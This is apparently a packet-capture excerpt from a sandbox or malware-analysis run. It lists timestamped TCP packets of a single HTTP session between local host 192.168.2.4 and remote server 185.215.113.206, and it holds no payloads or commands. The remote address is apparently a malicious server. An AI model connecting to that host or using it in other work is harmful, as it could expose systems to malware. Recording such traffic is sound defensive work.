Dec 19, 2024 07:57:02.956891060 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.956939936 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.957766056 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.957803011 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.957849026 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.958595991 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.958698034 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.958740950 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.958838940 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.959527016 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.959630013 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.959683895 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.960444927 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.960509062 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.960560083 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.960601091 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.961395025 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.961478949 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.961522102 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.961636066 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.962335110 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.962388039 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:02.962426901 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:02.962508917 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.022171974 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.022211075 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.022242069 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.022283077 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.022562027 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.022608042 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.022635937 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.022675037 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.023478031 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.023549080 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.023587942 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.023663044 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.024485111 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.024549007 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.024665117 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.025357962 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.025388002 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.025443077 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.026300907 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.026379108 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.026411057 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.026479959 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.027251959 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.027307034 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.027369022 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.027506113 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.028157949 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.028209925 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.028250933 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.028295040 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.029098034 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.029146910 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.029227972 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.030041933 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.030095100 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.030174017 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.030699015 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.089467049 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.089502096 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.089565039 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.089565039 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.089793921 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.089983940 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.090028048 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.090681076 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.090816021 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.090827942 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.090857983 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.091718912 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.091758966 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.091892004 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.091928005 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.092588902 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.092773914 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.092814922 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.093532085 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.093579054 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.093633890 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.093691111 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.094479084 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.094693899 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.094742060 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.095422029 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.095520973 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.095532894 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.095571041 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.096390009 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.096435070 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.096470118 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.096513987 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.097311020 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.097352028 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.097430944 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.097512007 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.098231077 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.098273993 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.098362923 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.098398924 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.099541903 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.099731922 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.099895954 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.099997997 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.100171089 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.100311995 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.100349903 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.101102114 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.101190090 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.101233959 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.101979971 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.102025032 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.102109909 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.102328062 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.102966070 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.103101015 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.103142977 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.103912115 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.103969097 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.104018927 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.104837894 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.104896069 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.104962111 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.105775118 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.105823994 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.105890036 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.105935097 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.106722116 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.106823921 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.106842041 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.106887102 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.107691050 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.107743025 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.107829094 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.107873917 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.108639956 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.108743906 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.108793974 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.109555960 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.109668970 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.109720945 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.110543966 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.110615969 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.110678911 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.110771894 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.111468077 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.111521006 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.111598969 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.111646891 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.112457991 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.112512112 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.112579107 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.112631083 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.113322973 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.113372087 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.113414049 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.113462925 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.114326000 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.114371061 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.114379883 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.114419937 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.115221024 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.115272999 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.115344048 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.115390062 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.116172075 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.116226912 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.116295099 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.116349936 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.117156029 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.117223978 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.117271900 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.117335081 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.118081093 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.118133068 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.118170977 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.118215084 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.118968010 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.119016886 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.119090080 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.119133949 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.119965076 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.120006084 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.146832943 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.146920919 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.146960974 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.147083044 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.147243977 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.147387028 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.147440910 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.148160934 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.148219109 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.148294926 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.148344040 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.149105072 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.149221897 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.149243116 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.149271011 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.150042057 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.150099993 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.150110960 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.150257111 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.151042938 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.151098967 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.151144028 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.151185989 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.152014017 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.152066946 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.152132988 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.152180910 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.152899027 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.153012991 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.153090000 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.153142929 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.154141903 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.154201984 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.154390097 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.154448032 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.154989958 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.155039072 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.155127048 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.155174017 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.214629889 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.214665890 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.214719057 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.214719057 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.215023994 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.215070009 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.215137959 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.215183973 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.215929031 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.215976000 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.215980053 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.216020107 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.216922998 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.216974974 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.217061996 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.217107058 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.217888117 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.217940092 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.218000889 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.218035936 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.218779087 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.218838930 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.218880892 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.218923092 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.219677925 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.219723940 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.219748020 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.219793081 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.220678091 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.220745087 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.220788002 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.220875978 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.221585989 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.221632957 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.221710920 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.221771002 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.222539902 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.222590923 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.222628117 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.222671032 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.281826973 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.281866074 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.281923056 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.281923056 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.282107115 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.282145023 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.282224894 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.282285929 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.283077002 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.283119917 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.283169985 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.284029961 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.284094095 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.284115076 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.284307003 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.284986019 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.285036087 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.285096884 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.285141945 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.285898924 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.285948992 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.285989046 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.286026001 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.286834955 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.286941051 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.286986113 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.287790060 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.287849903 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.287895918 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.287966013 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.288723946 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.288829088 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.288858891 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.288870096 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.289680004 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.289726973 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.289756060 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.290426016 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.290580034 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.290628910 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.290743113 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.290790081 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.291579008 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.291632891 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.291665077 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.291745901 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.292488098 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.292578936 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.292592049 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.292627096 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.293418884 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.293468952 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.293536901 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.293581963 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.294387102 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.294435024 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.294492960 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.294529915 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.295298100 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.295346975 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.295409918 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.295445919 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.296240091 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.296293020 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.296354055 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.296427965 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.297233105 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.297327042 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.297367096 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.298173904 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.298279047 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.298329115 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.299098969 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.299159050 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:03.299207926 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:03.299245119 CET	49745	80	192.168.2.4	185.215.113.206
